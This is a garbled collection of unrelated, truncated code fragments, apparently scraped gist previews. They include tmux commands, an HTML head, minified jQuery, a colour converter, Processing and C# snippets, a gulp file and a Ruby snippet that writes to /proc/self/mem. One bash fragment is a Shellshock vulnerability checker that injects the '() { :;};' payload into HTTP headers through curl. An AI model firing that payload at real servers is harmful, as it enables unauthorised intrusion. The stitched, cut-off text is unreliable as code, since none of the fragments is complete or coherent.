start new:
tmux
start new with session name:
tmux new -s myname
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>INSOMNIA SALE WATCHER</title> | |
| <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script> | |
| <!--[if IE]> | |
| <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script> | |
| <![endif]--> | |
| <style> |
| !function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m=a.document,n="2.1.0",o=function(a,b){return new o.fn.init(a,b)},p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};o.fn=o.prototype={jquery:n,constructor:o,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=o.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return o.each(this,a,b)},map:function(a){return this.pushStack(o.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},la |
| #!/usr/bin/env python | |
| # | |
| # Convert .itermcolors files to hex colors for html | |
| import sys | |
| import xml.etree.ElementTree as ET | |
| def rgb_to_hex(rgb): | |
| return '#%02x%02x%02x' % rgb |
| boolean ZOOM = true; | |
| void go() | |
| { | |
| // 100x100 | |
| int x = 30; | |
| int y = 30; | |
| int w = 10; | |
| int h = 10; | |
| // A 10x10 square with (12,30) the top left corner | |
| color[] c = new color[w*h]; |
| //Copyright (c) 2014 Tilman Schmidt (@KeyMaster_) | |
| //Permission is hereby granted, free of charge, to any person obtaining a copy | |
| //of this software and associated documentation files (the "Software"), to deal | |
| //in the Software without restriction, including without limitation the rights | |
| //to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
| //copies of the Software, and to permit persons to whom the Software is | |
| //furnished to do so, subject to the following conditions: | |
| //The above copyright notice and this permission notice shall be included in |
| #!/bin/bash | |
| url="$1" | |
| tag=`uuid` | |
| payload="() { :;};echo;echo $tag;exit" | |
| vulnerable=0 | |
| function shellshock () { | |
| header="$1" | |
| response=`curl --header "$header: $payload" --silent --insecure "$url"` |
| // Written by Michael 'Searge' Stoyke in 03/2015 | |
| // Released as public domain, do whatever you want with it! | |
| using System; | |
| using System.IO; | |
| using System.Reflection; | |
| using System.Text; | |
| using Mono.CSharp; | |
| namespace GameLibrary { |
| /*global require */ | |
| 'use strict'; | |
| var _ = require('lodash'); | |
| var browserify = require('browserify'); | |
| var colors = require('colors'); | |
| var concatCss = require('gulp-concat-css'); | |
| var del = require('del'); | |
| var gulp = require('gulp'); | |
| var gulpif = require('gulp-if'); |
| def Process.gsub pat, sub | |
| mem = File.open('/proc/self/mem', 'r+') | |
| maps = File.open('/proc/self/maps') | |
| maps.each do |map| | |
| from, to, perms, offset = map.scan(/(\h+)-(\h+) (\S+) (\h+)/)[0] | |
| if perms['rw'] | |
| from, to = [from, to].map { |addr| addr.hex + offset.hex } | |
| data = mem.tap { |m| m.seek from }.read(to - from) rescue next |